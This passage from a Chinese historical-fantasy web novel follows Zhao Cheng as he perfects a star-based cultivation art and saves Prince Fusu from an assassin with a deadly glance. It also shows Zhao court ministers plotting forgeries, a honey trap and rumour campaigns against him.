【第六千一百年,你修炼雪家观星入脉法,以神庭感应天机星,神庭感应计都,百会感应天枢,太阳感应紫薇……】
【第六千二百年,雪家阴阳术之中的感应天星,确实算是一大关,你耗费百年时间,终于感应诸天星辰入窍……】
【七千年,你再次开窍四十九处,每一处窍穴之中的真元,都效果迥异,可对应各星辰之理。
同时你的精神变得无比旺盛,神魂亦是坚固无比,如今你可施展咒印,轻易咒杀摄魂敌人,而且,你可以窍穴感应天星,运行占星之术。】
【第七千五百年,你的占星之术大成,只需夜观天象,就可明悟天下格局和生杀大事……】
【第一万三千年,你以雪家观星入脉法为核心,融合诸法,创出独门炼气法,将九十八大窍熔炼一体,真元如有星辰之力,妙用无穷……】
【第一万三千三百年,你通过大成的占星术,与对星理的精深造诣,再次推陈出新,创出新的观星入脉之法,再开带脉八窍……】
【第两万七千九百年,你创造出独属于你自己的完整天星入脉法。
这功法以天垂象,人法天为核心理念,将周身三百六十一大窍对应三垣四象、二十八宿等三百六十五颗主星。
功法贯通全身,如天道循环不息。
三百六十一大窍如星辰列布,各蕴迥异星力。
真元运转时如星河流淌,窍窍共鸣似诸天呼应,故名——
周天星斗纳真诀!】
第91章 占星术通神!手握天机!刺杀扶苏!
“紫微星明万窍从,帝座临轩镇虚空。三台辅弼朝元上,大火焚天破浊蒙……”
赵诚睁开眼睛,结束推演的瞬间,头面躯干上,对应紫微星垣的核心七十八窍轰然运转起来。
这核心七十八窍,对应的是“阳刚、统御、镇煞”,如如印堂窍对应三台星,聚星力可明目通神,极近目力,有若千里之眼,看破虚妄!
膻中窍对应心宿二,运功时如心火焚邪,任何幻术和影响心智的东西对他来说,都是瞬息消散,不会造成任何影响。
“太微垣下群星列,左右辅弼掌乾坤。天狼饮血穿云箭,参宿流光破万军……”
紧接着,是对应太微星垣的上肢九十六窍,也接连运转起来。
这九十六窍主掌“变化、锋锐、传导”,曲池窍对应天狼星,运功时掌臂如天狼啸月,刚猛无俦;
少商窍对应参宿四,指尖可凝真元锋芒如通天箭矢。
左掌劳宫窍对应左辅星,右掌劳宫窍对应右弼星,更是输出纳入真元的主要门户。
“天市垣中地脉通,摇光踏月引星洪。南河载土千山重,心月狐鸣万壑空……”
再其次,是对应天市星垣的下肢九十二窍。
这九十二窍主“厚重、稳固、生衍”,双足涌泉窍对应北斗七星之摇光星,扎根大地,引万象之力入体如江河归海。
足三里窍对应南河三星,运功时腿劲如大地厚德,可承千万钧无边之力。
太冲窍对应心月狐星,踏地生风,迷乱敌踪,一气遁形千里不竭。
“四象分张二十八,青龙白虎护两旁。朱雀焚天丹田暖,玄武镇水命门凉……”
四象二十八星宿,对应躯干四肢关联各处九十五窍。
青龙白虎朱雀玄武各七宿环身而过,妙用无穷。
当此之时,赵诚周身上下所有大窍齐开,无数天地元气,乃至日月星辰之力,尽皆涌入其中。
这具身体好似与天地感应,顺应天地规律而生,每一个窍穴都能够隐隐感觉到对应星辰的运转,其中真元,更是依照天星运转之理而不断运行着。
身躯似宇宙,宇宙似身躯!
交相辉映之间,全身三百六十一窍共鸣起来,隆隆震动之间,赵诚的上中下三处丹田皆是颤动起来。
如今经过万年时间推演,赵诚诸窍真元本是盈满的状态。
但在此功初成之际,真元却在隆隆运转之中,强度飞快拔升,变成了盈满大半的状态。
赵诚自然觉得不够,消耗如此多的寿命推演这门功法,自然每一步都要走到极致才行!
于是他又兑换十枚聚元丹吞服下去。
若以之前修炼采青诀需要的元气来算,一枚聚元丹可蓄满十八大窍,甚至还有富裕。
但是现在十枚聚元丹吞下去,却只提升了十之二三。
无奈之下,持续兑换,持续吞服。
直至剩余寿命只剩下八千的时候,这周天大窍依然还是没能蓄满。
赵诚无奈,却也收了手。
任其共鸣,而后上中下三丹田同时洞开,如同海纳百川一般,自周身大窍之中,将无尽真元接引了过去。
但赵诚发现,这周天大窍之中的真元,并非完全被丹田吸收,而是以丹田为核心,形成了一种中央主导四方的感觉。
若说经脉是叶子,那窍穴就是枝干,丹田则是汇总所有的主干。
每一座丹田,都如同海洋一般,蓄纳无尽真元,但同时又与周天大窍存在千丝万缕的关联。
丹田之中的真元,就是窍穴之中的真元,窍穴之中的真元,亦是丹田之中的真元。
这样一来,他体内的真元不但无限增加了上限,而且每一分真元,都兼具各种特性。
即使是从任何一个窍穴激发,都可以拥有其他窍穴的特性。
赵诚抬头,看向屋顶,目光好似能够穿透屋顶,跨越无边苍穹,看到那些周天运转的星辰。
他感觉曾经学习参悟的那些星理,如今尽数融化在自己的体内。
星辰变化,窍穴真元随之变化。
别人占星需要观星,他只需要内观即可。
别人需要等到晚上观星占卜,他则是全天随时随地都可占星卜算。
而且因为无尽星理都已悟透,且融于一身,所以弹指间就可算出一个清楚的方向。
至于消耗的真元,那就相当于大海之中的一滴水罢了。
此时,诸多朦胧的信息,随着那天地运转的规律,被赵诚本能般地以占星术推演出来,自然而然流淌在心里。
随着他心念一动,就可以抓住每一条直流,令其清晰起来。
可惜天地万象信息太过磅礴,赵诚无法每时每刻都全盘接受,只能依照自己想要知道什么,动心起念将其捕捉。
弱水三千,只取一瓢。
比如此刻,他于体内星辰运转之中,察觉到了刀兵之兆。
动心起念细究过去,很快有所发现。
“有刺客混进府里了……”
“四个,宅邸毕竟刚刚住进来没多久,看来许多地方还不完善。”
“倒也无妨,那就陪他们玩玩。”
赵诚对此完全不在意,他自信现在的修为,世界上没有几个人能够比得上自己了。
雪家千年传承,不过才四十九窍。
他万年推演,共鸣周天三百六十一窍,对应周天主星,更是强势将窍穴盈满。
这世上就算有对等的功法,也没有人能修出如此之多的真元。
更何况,他在占星术之中没有察觉到丝毫的凶险。
“那小子还在前堂,倒也算是有些耐性。”
“咦?他脑袋上有血光之灾啊,这么浓……”
赵诚眉头一挑,脚尖一点,整个人突然如风一般消失在原地。
……
扶苏自巳时就已经来到了赵诚府邸,一直坐到下午申时,一动不动。
周围的下人来来往往忙忙碌碌,只有他如同一座玉童雕像一般始终坐在那里,垂着眸子不知道在想些什么。
他是顽固迂腐不错,但也正因如此,他认定的事情从不回头。
在坚持儒学之道时,他可以顶着嬴政的压力,直言劝谏,全然不顾前途如何。
而如今心中所想动摇之后,他又可以在这里等到天荒地老,只为实践印证多年所学。
但在他垂眸静思的时候,一个驼背枯瘦的老头不知何时靠近了他。
这人是如此的不起眼,穿着一身干粗活的麻衣,颤颤巍巍,看起来明明行动缓慢,但是只眨眼之间,就出现在了扶苏的身边。
他挑起那干巴如老树皮一般的眼皮,笑眯眯地看着扶苏,“你是……公子扶苏?”
扶苏抬眸,“我是,老人家……”
话音未落,这老者骤然停滞身躯,哪里还干瘦佝偻,反而精壮修长,一双手臂如蜕皮一般挣出,两把寒光匕首寒光乍现,直逼扶苏咽喉。
短短一臂距离,不过眨眼便至。
小小少年的脖颈看着如此柔嫩脆弱,在匕首寒光的映射之下,好似脆白的玉石随手可碎!
扶苏瞳孔骤缩,死亡的气息瞬间压迫而来,让他在一瞬之间进入了死前回马灯的状态。
生平一切,以不可思议的速度闪过。
明明身体动也不能动,一切都显得缓慢起来,但脑子却闪过了无穷多的信息。
最终落到此刻,扶苏脑中闪过一道惊天猜想。
“他要杀吾嫁祸大良造!”
公子扶苏死于大良造府邸,大良造焉有幸理?
此举王父必然暴怒,军功赫赫的大良造非死即反!
秦国乱矣!!
就算是此时此刻,扶苏想的也不是自己要死了该怎么办,而是担忧秦国将乱。
心惊之际,他拼了命的想要闪躲,但那副孱弱的身躯,与对面的刺客形成了鲜明的对比。
匕首的速度就像鹰隼啄击猎物,而相比之下,他的动作,比乌龟还要慢上许多倍。
留给扶苏的,只有绝望。
突然,眼前视线一暗。
一道身披黑色大氅的巨大身影凭空出现在扶苏身侧。
而在他出现的瞬间,只是抬眸看了一眼那名暴起的刺客,那刺客便瞬间僵直不动,脸色以肉眼可见的速度灰败下去。
瞬息之后,已是如同冰雕一般,就那样完全静止在了那里,一派死寂。
匕首那闪着寒光的尖锋险之又险地停在扶苏的咽喉肌肤之上,他甚至已经感受到了刺痛。
此时,回马灯好似也消失了。
一切回归了正常,但扶苏却一动也不敢动。
巨大的死亡阴影依然没有退去,那恐怖的刺客还站在眼前,虽然瞳孔都散掉了,但扶苏根本没有注意到。
“往后退一退,那匕首有毒,划破了脖子,你就真的死了。”
赵诚的话音传来,霸烈的魁躯坐在椅子上,饶有兴趣的看了看扶苏的裤子。
咦?
比胡亥胆子大多了,这都没有尿裤子。
第92章 目光杀人!?不愧血屠阎罗之名!
没……没死……
还活着!
是大良造来了!
扶苏的双眸瞪大到了极限,浑身也绷紧到了极限。
一颗心刚刚落至极暗之处,又复现光明。
无穷纷乱的思绪暴涌入扶苏的脑海。
他的双腿已经软透了,但还是缓缓吸了一口气,强撑着一股劲,后退了半步。
而后身子一软,噗通坐翻了椅子,跌坐在地,大口喘息起来,脸色苍白如纸。
“他……他……”
扶苏有些语无伦次,依然惊恐地看着那保持着极大张力,固定于杀人前一刻的刺客身形上。
即使那刺客已经一动不动,但那股杀机,依然从那精壮体魄的流畅动线上暴涌出来。
任谁看上一眼,都要心惊肉跳。
“死了。”
赵诚的声音传来,让扶苏脑袋更是空白。
死了!?
扶苏不可思议地看向刺客,不管怎么看,这家伙都还活着!
那股子杀气,这杀机毕露的动作,怎么会死了?
更何况,刚才那一刻,他没察觉赵诚有任何动作,两者根本就没有接触,刺客怎么会死了?
“死了……为何不倒?”
扶苏努力让自己的声音显得冷静,但是出口依然是一阵颤抖。
赵诚指了指刺客,“你戳他一下就倒了,或者踹他一脚。”
扶苏惊惧,头皮发麻。
让他主动去靠近刺客?
一个刚刚差点杀了他,现在还维持着杀人姿势的刺客?
他没有动。
赵诚笑道,“若是连这份勇气都没有,就回宫去吧,好好做你的乖乖太子,与那群腐儒继续过家家……”
扶苏唇角一抿,抿出的风骨与刚出怀阳村的赵诚竟如出一辙。
此时他已经察觉到那刺客的异常,细看之下,那人脸色灰败,双目一派死意,毫无生机可言。
于是他站起身来,拖着软成面条似的双腿,一步一步挪向前去。
胆战心惊,但那刺客丝毫没动。
扶苏咬牙,书卷气的脸上,亦浮现出一抹坚毅。
他与刺客持着匕首刺出的手臂擦肩而过,缓慢靠近。
剧烈颤抖的手伸出去,在触碰到刺客胸口之前一指的距离突然停住不动。
僵硬着,僵硬着……
扶苏突然抬起一脚踹在刺客腿弯上,然后拔腿就跑,一溜烟跑到赵诚身后,露出半张脸看向刺客。
赵诚哭笑不得。
这一脚真是连他都没有想到。
不是,你对着一个已经死掉的刺客,还在声东击西?
和空气斗智斗勇是吧?
倒也不算太过死脑筋。
赵诚开始觉得这孩子有点意思了。
而那刺客,在扶苏一脚之下,终于破掉了突然死僵的势头,软软倒下,噗通一声落在地上,没有丝毫声息。
“真的死了……”
扶苏不敢置信。
这怎么可能呢?
是被大良造杀死的吗?
可他如何做到的呢?
出现时,他只是在自己身边,连根手指头都没动,更没有触碰刺客。
难道是暗器?
可是就算是暗器,刺客的动作势头也不会停下,更何况,刺客全身上下丝毫见不到伤口。
他终于问出了心中疑惑,“大良造,这刺客到底是怎么死的?”
赵诚笑道,“被你踢死的。”
“不可能。”扶苏鼓起小脸,有些不满,却也不敢表现出来,“大良造莫要将吾当做小孩子哄骗。”
“那你说他是怎么死的?”
赵诚问道。
扶苏皱眉沉思片刻,“吾听闻,血屠阎罗一眼就能瞪死百人,莫非他是被大良造看死的?”
虽然有点无语,但不可否认,那刺客确实是被赵诚以双眸施展阴阳摄魂咒印,咒杀掉的。
这法门出手最快,抬眸即至。
以赵诚的修为来说,不需要结印,甚至不需要对视,直接真元爆冲压垮神魂,对方的身体自然僵直,也是当时最为安全的选择。
赵诚只好点头,“说对了,他是被我看死的。”
“我修有一种秘法,有勾人魂魄之能,看谁一眼,就能把他的魂魄勾出来。”
说着赵诚朝着扶苏看去。
扶苏头皮差点炸了,一猫腰躲在赵诚身后视觉死角处,捂着脑袋叫道,“大良造莫要勾吾的魂!”
赵诚失笑,这会又不机灵了。
“你不与我对视就无妨。”
听闻这话,扶苏才终于松了口气。
怪不得之前在殿上,与大良造对视一眼,差点心都跳出来,原来是秘法的原因。
血屠阎罗名不虚传!
当真可怖!
他侧目抬头,不敢与赵诚对视。
因为不敢对视,所以看不到赵诚脸上的笑意。
“说说吧,来找我做什么?”
扶苏认真说道,“博士们回答不上来大良造的问题,吾也想不明白,吾很困惑,而圣贤典籍之中没有答案。”
“吾觉得儒学可能也有它的局限性,但这边界在哪,吾不知道。”
“博士们认为大良造所行残暴不仁,大良造却认为王父和大良造所行才是大仁大义,吾分不清,故吾要跟随大良造,与实事中印证所学。”
“吾要看看,仁义之道到底应该用在哪里,又不该用在哪里。”
看着眼前困惑的小孩,赵诚笑道,“这还不简单?”
扶苏抬眸,不小心与赵诚对视上了,当即心头一跳,连忙低头,捂住了自己的眉心,确保自己的魂儿没有被摄出去。
“请大良造教我。”
赵诚理所当然地说道,“仁义之道当然是用在别人身上最合适。”
“啊这……”
扶苏一下子懵住了。
是这样的吗?
不对不对。
“若仁义只是施恩的权柄,那与商贾用铜钱买人心,又有何异?”
“天视自我民视,天听自我民听,这仁义若不先在自己骨血里扎根,又如何让天下人信它是真的?”
赵诚无所谓道,“商贾用钱买人心又怎么了?你很看不起人家吗?”
“若是能用钱买通诸国权臣,以此兵不血刃降服诸国,从此天下太平,少去多少杀戮,这不是仁义吗?”
扶苏又懵了。
如此手段,也能称仁义吗?
房顶之上,蜷缩在房檐角落的顿弱奋笔疾书,眼中闪烁着流水遇知音的感动。
大良造懂我啊!
他干的就是这个事啊!
在公子口中,自己与商贾收买人心的行为无异,是下流之举!
但大良造却认为他所行所为,是大仁义,是止战六国,少去杀伐的大仁义!
记上!
必须记上!
回去说给大王听!
第93章 有此‘凉\’相,何愁江山不覆?
“诸卿,今天上朝只论一事,便是那秦国新贵大良造赵诚!”
赵王迁的声音静静地回荡在赵国大殿之上。
群臣闻言面面相觑,赵王迁上位之后长期享乐,宠信权臣。
赵国每况日下,屡遭秦国攻打,接连丢失宜安、平阳、武城、狼孟、番吾等郡。
要不是大将李牧力挽狂澜,他们现在都不知道在秦国哪个边境服役了。
今日大王突然上朝,忧心忡忡的样子,原来是感受到了新的威胁。
群臣面面相觑之下,却没有人先开口说话。
这血屠阎罗之名已经传遍诸国,这些大臣没有不知道的,生怕一开口就被赵王拍去对付那屠子。
到时候可就骑虎难下了。
赵王迁看着下方反应,还以为众臣不了解赵诚,于是继续说道:
“此人率八千轻骑,不带辎重,八日灭韩,杀敌酷烈,锋芒无尽,所过之处,锐不可当!”
“被韩人称为血屠阎罗!”
“近来,寡人更是听闻他在秦国章台宫殿前击杀昌平君八百方士门客,其中更有多年前从燕国逃出的醉屠子。”
“可见此人武力不凡,极为勇猛。”
“如今他得到秦王赏识,令其在曾经的铁鹰锐士基础上,另建血衣军,据密谍说此军人人都修有炼体之法,而且精进奇快无比。”
“秦国虎狼之师本就难以对付。”
“如今韩灭之后,秦国更具地利,还有如此猛将,若是那血屠亲率血衣军,自韩境疾袭邯郸,又该如何抵挡?”
赵王迁忧心忡忡,实在由不得他不担心。
当初嬴政的父亲子楚被派往赵国做质子,经过长平之战,白起坑杀赵国四十五万士卒之后,秦赵便长期交恶。
子楚在邯郸的地位极为尴尬,不但生活困顿,甚至备受敌视,处处针对。
而作为他儿子的嬴政,自出生就被打上秦人标签,从小就被敌视长大。
赵王迁作为赵国上层,王室之后,对其自然更是轻蔑无比。
不但多次在公开场合,带着其他贵族子弟嘲讽其质子之子的身份,更曾找人对其进行言语侮辱,甚至推搡殴打。
就算是最基本的生活要求,也是多番刁难。
甚至给赵姬家中施压,让嬴政在其家族都不受待见,被严重排挤。
如今形势逆转,大秦如此强横,嬴政的复仇之心更是昭然若揭。
刚刚上位没多久就多次攻打赵国,可想而知,其对赵国这些高层贵族有多大的恨意。
如今韩国没了,秦具有如此地势,就算他用屁股想,那也知道用不了多久,等韩地巩固稳定下来,秦王必然攻赵。
而那血屠如日中天,秦王必然以他为锋。
可赵王迁思来想去,怎么都想不到李牧如何抵御赵诚。
之前两线作战,李牧各种回旋拉扯,才算是堪堪打退秦国的攻势。
现在好了,三线作战,就算李牧多长一个脑袋,那也是忙不过来的。
更何况那赵诚的勇猛,比秦国其他那几个猛将吓人的多了。
带着八千人,没头没脑地一路杀过去,硬是八日就把韩灭了。
换做各国哪个君王来看,那也是心惊肉跳,生怕对方哪一天突然穿插国境而入,直抵国都。
赵王迁环视群臣,发现群臣竟然一句话都不说。
他眼睛一眯,盯住了自己最宠信倚仗的郭开,“相国,你来说说。”
郭开最是明白君王心意,知道君王此时忧心忡忡,于是一脸轻松说道,“大王不必忧心,那血屠不过是徒有虚名罢了。”
“要知道,韩之军备,废弛已久,韩王与韩臣更是每日沉溺于权谋之术上,军中将士无心作战。
既如此,面对那赵诚,自然是能避则避,不愿撄锋。”
“如此一来,韩若是灭了,他们也能入秦,还留得一条性命。”
“若是没灭,他们也能够逃过罪责。”
“所以在臣看来,那血屠阎罗之名,不过是双方商量好的计谋,越是宣扬赵诚的神威,那些早就想要投降的韩军就越是没有罪责。”
“至于什么八千尽屠三万之事,恐怕都是杜撰出来的。”
“还有殿前斩杀相国八百门客之事,也是秦国为了示威而刻意宣扬。”
“那醉屠子多年前还有些厉害,如今这么多年过去,早就老得不行了,被推出来杀了示威诸国,何以证明那赵诚威势?”
“臣亦查过此人,此人说到底不过是个十六七岁的少年罢了,就算有些勇力,又哪有传闻之中的那般玄乎?”
他这一番推测,大半都是以己度人,没有什么实证。
偏偏赵王迁还很吃这一套,心中为之放心了不少。
心里舒服了,看郭开就更是顺眼了。
然而就在这个时候,春平君赵佾越众而出,“陛下,臣以为相国此言不妥,其言大多都是揣测,而没有实证。”
“秦国以军功封爵,法律严苛,若无实打实的军功,如何能够封爵大良造,又如何以十六岁少年之身,受秦王重用,率领血衣军?”
“秦王此人,极有识人之能,不会错判的,所以臣以为,此人不可不防!”
赵佾是赵孝成王之子,赵悼襄王的兄长,他多次劝谏赵王迁重用李牧、疏远奸佞,但因权力被架空而失败。
如今看到如此关键的时刻,郭开还在胡说八道,再也忍不住了。
但他这番话一出,赵王迁的眉头明显皱了起来,脸色也变得不愉快。
他刚刚松了口气,这赵佾就跳出来吓唬他?
还说秦王有识人之能?
他当初将嬴政按在地上摩擦的时候,嬴政怎么没有识人之能?
“哼!既然春平君认为此子危险,又该如何对付他呢?”
春平君说道,“此人虽然武力不俗,有万夫莫敌之勇,但这也是他的弱点,正因为其勇猛,所以战法就更偏向于勇猛冲杀。”
“我等只需要在邯郸设下针对武力强大者的大型机关,必然能够将其陷杀于阵前!”
赵王迁微微昂头,俯视春平君,“哦?若按照昌平君所说,此人有如此武力,什么样的机关才能够将其陷杀呢?”
春平君胸有成竹,“墨家的千机锁龙阵!”
第94章 郭开三毒计,赵国第一舞姬
此言一出,众人都是看向春平君。
春平君则是沉稳而迟缓地说道,“墨家主张兼爱非攻,最为厌恶赵诚这等血屠,墨家子弟也愿意帮助诸国守城,抵御暴秦。”
“正好臣认识墨家当代巨子,听其讲述过千机锁龙阵的用法,此阵可设立在城中,亦或者重阵防守的必经之处,内设大型旋转刀轮,无数淬毒暗弩,下方更有流沙陷阱。”
“一旦那赵诚踏入此阵,机关激发之下,他立刻就会陷入流沙。
如此地势天威,就算他有万斤之力,也只会越陷越深,更何况还是无数淬毒暗弩齐发,以及刀轮绞杀。”
“那血衣军要磨炼出来,还需要一些时间,如果我们现在就准备材料,请来墨家子弟为我等打造机关重阵,等到那赵诚攻赵之时,必然能够阵前杀之!”
这时候,郭开又跳了出来,“你要耗费重金打造一个无法移动的机关重阵?”
“请问春平君,如果那赵诚没有踏入机关陷阱该如何?”
“亦或者,他让手下的士兵先上,士兵陷入重阵,他就跑了,这又如何处理?”
“再或者说,他……”
春平君怒斥道,“郭开!此事没有那么多的如果,此阵若是派上用场,赵国便已经是到了生死存亡之际,若无这最后一道保障,汝等何人能挡赵诚一戟?”
郭开笑道,“某只是就此事讨论完善,昌平君何必如此急躁?”
“只是耗时耗力又耗材,把身家性命都压在这最后一着上,万一不成,大王岂不是很危险?”
春平君摇头道,“自然不止这一道保障,这只是最后的办法。”
他对着赵王迁一礼,说道,“陛下,那赵诚武力超群,不可力敌,对付他不该在战场上,而应该在其他地方。”
赵王迁颔首道,“说说看。”
春平君说道,“比如,派遣细作接近赵诚,在他的饮食、盔甲内衬或者其他贴身之处下毒。”
“毒药一定要是医家秘传的毒药,最好无色无味,接触之后,又能够入侵到体内,就连方式都抵挡不住的那种。”
郭开闻言,眼睛一转,斜睨春平君。
就这?
这可是到了他熟悉的领域了,不由得嗤笑一声。
“春平君想得未免也太天真了,那赵诚如今已经是大良造,不是在咸阳宫中就是在血衣军中,什么细作能够接近他而不被发现?”
“若是打草惊蛇,便是丧失良机。”
春平君看向郭开,“那相国又有什么好办法呢?”
“既然春平君坚持要对付此人……”郭开一笑,尽显精明之色,“陛下,臣有三计,可使其避无可避。”
赵王迁来了兴趣,“相国有良策,快快说来!”
郭开说道,“其一,派遣秘士取来赵诚字迹,再以赵诚字迹,伪造与楚国往来的密信,密信之中言明约定倒戈,强杀嬴政,瓜分秦国之事!”
“再将此信,交给秦国与赵诚不合的大臣,昌平君和那些儒生,都是可以利用的人物。”
“昌平君近些年愈发失势,秦国之中,他们那些贵族的权力因为军功封爵而不断被削弱,所以他对于军中新势力崛起肯定是不满的。”
“再加上之前楚国出兵援韩,他的地位愈发不稳,这假作密信可以当做他展露忠诚之用,亦可用作除掉赵诚,对他来说,这是一举两得,只要做得干净,他没有不答应的道理。”
“至于那些儒生,本就对赵诚血屠之名异常不满,得了这信,不需要咱们说什么,也必定不会放过赵诚。”
“而且,嬴政此人生性多疑,很难信任他人,若是赵诚真有传闻中那等勇力,嬴政看到此信,就算不信,也必然会种下怀疑的种子,早晚会弃之不用,亦或者发配边疆。”
“所以,我们只需要将此信做好,然后送到需要的人手中,此计便已经成了大半!”
“妙啊!”赵王迁拍案大赞,深觉郭开这一计精妙。
简直是将三方全都算进去了,而且执行起来并不算难。
拿到赵诚的笔迹,总比给他下毒要简单得多了。
伪造字迹,更是轻松。
而且,这种阳谋,算准了嬴政多疑的心理,更利用了赵诚强大的武力。
使得赵诚那强大的武力不但没有了优势,反而成了劣势。
正因为其武力强大,嬴政看到这信的时候,才会不得不防。
就算他知道这封信是伪造的,照样要怀疑赵诚。
与其说是栽赃,不如说是明晃晃的提醒。
提醒嬴政:他将血衣军交给一个武力超群的万人敌猛将,要时刻小心自己的脑袋,不要被赵诚勾结了他国,反戈一击,砍碎了强秦的暴政!
众大臣都是合掌而笑,大为赞叹这一计的精妙。
却听郭开继续说道,“其二,臣听闻国内有一奇女子,名为姬雪儿。
此女号称赵国第一舞姬,绝美倾城,擅长幻术,但凡男子见过其一面,就会多日茶不思饭不想,为之神魂颠倒,欲罢不能。”
“赵诚不过一少年,少年血气方刚,他又生性酷烈,初见如此倾城之姿,若是被那赵诚见过,如何能够放过?”
“只要这姬雪儿出现在赵诚面前,赵诚自然会主动接近姬雪儿,到时候蛊惑赵诚,说秦王忌惮将军功高震主,恐有兔死狗烹之祸。
再将其言行漏洞传递回来,一旦抓住关键漏洞,便能结合第一计,给予赵诚致命一击。
如此君臣相疑,就算赵诚没有反心,早晚也是要反了。就算秦王没有杀心,早晚也要杀了。
最不济,姬雪儿还能如春平君所说,下个毒给赵诚。”
赵王迁眼睛一亮,“还有如此奇女子,寡人为何从未听说啊?”
“她在何处?”
春平君脸色有些难看。
而郭开则是目光转动,看向春平君,四目相对,似有暗锋刺入囊中。
却听郭开说道,“正巧,臣听闻春平君与这姬雪儿素有往来。”
“不如就请春平君说服这姬雪儿去一趟秦国,如何?”
春平君抿着嘴不发一言,静静看着郭开。
而赵王迁则是急道,“何必先去秦国,寡人还未曾见过如此奇女子,让其先来宫中一趟,春平君,你认识如此奇女子,为何不报于寡人?”
春平君不再看郭开,而是转身一礼说道,“陛下,这奇女子神龙见首不见尾,臣也不能经常见到她,只能尽力尝试书信联络。”
“若是联络上了,臣尽量说服她前往秦国一试。”
第95章 诸臣献策,相国谋断,可灭血屠!
“尽量怎么行?臣还听闻……”
郭开对于春平君的回答不是很满意,于是又跳了出来想要爆料什么东西。
“哼!”春平君一声冷哼打断了郭开的话,“相国就不需操心了,既然是为国之安危存亡,吾定然会全力说服姬雪儿前往秦国一趟。”
他很郁闷,却也拿郭开没有什么办法,只能咬牙吞下这一口气。
姬雪儿是他的外孙女,是其女与燕国姬姓贵族所生,那姬姓贵族更曾是墨家之中的首脑人物。
那时候,燕赵两国时战时和,政治联姻成为维系关系的重要手段。
春平君作为赵国宗室贵族,其女儿被许配给燕国宗室公子,燕武。
然而在姬雪儿幼年的时候,燕赵关系却再度恶化,秦国更是不断东扩,燕国为了自保,暗中与秦国勾结,试图共同瓜分赵国领土。
消息泄露后,赵国对燕国展开猛烈报复,边境战火纷飞。
姬雪儿的父亲作为参与谋划的燕国宗室成员,成为赵国的眼中钉。
燕国为平息赵国怒火,将姬雪儿父亲推出去当作替罪羊,燕武也就被赵国从此囚禁。
而姬雪儿和她母亲,则是在春平君的接应下,逃回了赵国。
但因为之前的事情,姬雪儿和母亲在赵国的处境十分不好,多次受到赵国内部大臣们和贵族的针对,甚至想要将他们与燕武一起囚禁起来。
不得已之下,春平君安排母子二人逃离了邯郸,之后不久,其母郁郁而终,姬雪儿也不知所踪,春平君找了多年也未曾找到。
后来机缘巧合,他见到了盛名已久的赵国第一舞姬,发现她就是流落多年的姬雪儿。
此时的姬雪儿,已经颇具影响力。
凭借那倾国倾城的容貌和舞姿,结合强大的秘法幻术,已经拥有了掌控人心之能,拥簇极多。
再加上春平君暗中帮助,在赵国的影响力也是越来越大,许多达官贵族想见一面而不得。
春平君原以为自己与姬雪儿的关系是极其隐秘的事情,但却没想到,郭开竟然能够知道此事。
这让他一颗心沉到谷底,知道此事已经难以推脱,不然郭开必然会借题发挥,不会放过雪儿。
可是那毕竟是他的外孙女,送去秦国施展美人计,岂不是羊入虎口?
他这边忧心忡忡,另一边郭开得意一笑,又开始说第三计。
“这其三,依然是利用其如日中天的威望,以及传闻之中的惊世武力来做文章。”
“这传闻之中,赵诚此人年方十六,入伍也不超过三个月,但是愈战愈勇,前一战刚刚斩杀数百人,后一战就能斩杀上千人,实力越来越是惊人。”
“秦国为其造势,军中将士更是惊叹于他的强大,但事出反常必有妖。”
“我们借力打力,可派出方士在秦国边境和军中散布流言,就说赵诚此人精通‘采生折割之术’!
此为妖术,不但能够吸收敌人的精血提升实力,还会暗中吸收麾下精锐的精血,导致其麾下士兵会越来越少,赵诚以此术提升自己,早晚会遭受天谴。”
“在传播谣言的时候,再派出方士前往故韩之地,于深夜之中,假作亡魂夜夜哀嚎,诅咒秦军和赵诚嬴政,如此要不了多久,亡魂诅咒的传闻就会传遍秦国。”
“秦军上下,甚至是民间百姓,都会对赵诚惊惧忌惮,那嬴政更有可能因为惧怕亡魂索命,而惩治赵诚,以安亡魂!”
赵王迁听得是一阵的激动。
“妙啊,相国这是连环计,一环扣着一环,环环避无可避,那赵诚就算武力超群,又如何能够逃得出相国的罗网?”
群臣见到了郭开的态度,大殿之中的风向立刻就变了。
之前一个个不发一言的群臣,也开始积极献策。
“陛下,臣亦有一计,可辅佐相国第一计。”
“陛下,臣也有一计。”
“吾等找到赵诚家中之亲眷,将其绑到赵国来,囚禁在军中,通过密信告知赵诚,如果不叛秦,就将这些亲眷公开处决于军中,在将处决过程传递到秦军营地。”
“同时,此计也可配合相国的第一计,一同传递给秦王,这就为赵诚叛国一事,增添了合力的动机,岂不美哉?”
赵王迁更是开心,“妙极!”
“看来相国所言不虚,那赵诚不过以莽夫罢了,就算真有天大的武力,他又如何抵挡相国的智谋?”
“空有武力之人,相国随手可灭矣!”
郭开笑道,“大王谬赞了,不过是大王引领有方,臣才能想到这些妙计。”
赵王迁更是开心,虽然他也不知道自己怎么引领了,但被郭开这样一说,他就真的感觉这些妙计有自己很大的功劳。
心中难免有些得意起来。
“这些事情就由相国主导,诸臣协理。”
“春平君,美人计一事,由你去说服那姬雪儿,嗯……去之前最好让她来见一见寡人……”
退朝之后,春平君哀叹不已。
郭开来到他身旁,拍了拍他的肩膀,被他甩开,也不恼,“春平君为何哀叹啊?”
“难道是为了那姬雪儿,莫不是春平君也贪恋此女……”
“给我滚!滚远点!”春平君暴怒,作势欲打。
郭开有恃无恐看着他,身边数名暗卫瞬间护在他身前,对着春平君虎视眈眈。
这些暗卫都是身怀绝技之人,别说春平君只有自己在这里,就算再带几十个护卫,也未必能够对郭开做什么。
这也是郭开能够肆无忌惮挑衅他的底气。
春平君怒极,却也心知无法对付郭开,只得拂袖离去。
郭开昂首而笑,睥睨春平君离去。
大袖一挥,群臣跟随其后,浩浩荡荡向着外面走去。
第96章 小作坊下料太猛了,嬴政的担忧
郭开此人,本是赵国宗室后裔,自幼浸淫在邯郸的权谋漩涡之中。
其善传上意,巧言令色。
历经两朝,在上一任赵孝成王时期,就以侍读身份,出入禁中。
在年轻的赵悼襄王继位时,郭开便察觉到新君对老将的猜忌,开始培植自己的政治势力,在朝中构建起庞大的关系网络。
联姻、举荐、收买,无所不用其极,触角延伸到军政每一个角落。
更是通过巧言令色,将阴山谍府掌握在了自己的手中,让这赵国的秘士组织,几乎成了他一个人的门客。
他不用其来获取六国情报,反而用其搜集百官隐私,把控人心,建立其庞大的朝内情报系统。
一旦有敌对官员谏言,他总能够提前得知对方意图,在赵王耳边,轻松埋下怀疑的种子。
而后再步步下套,将那些忠臣良将一步步害死,最终死于阴山谍府的大狱之中。
这种无形的权力,比战场上的刀剑更加锋利。
赵国就此,渐渐形成了以郭开为核心的文官集团,与武将集团决裂。
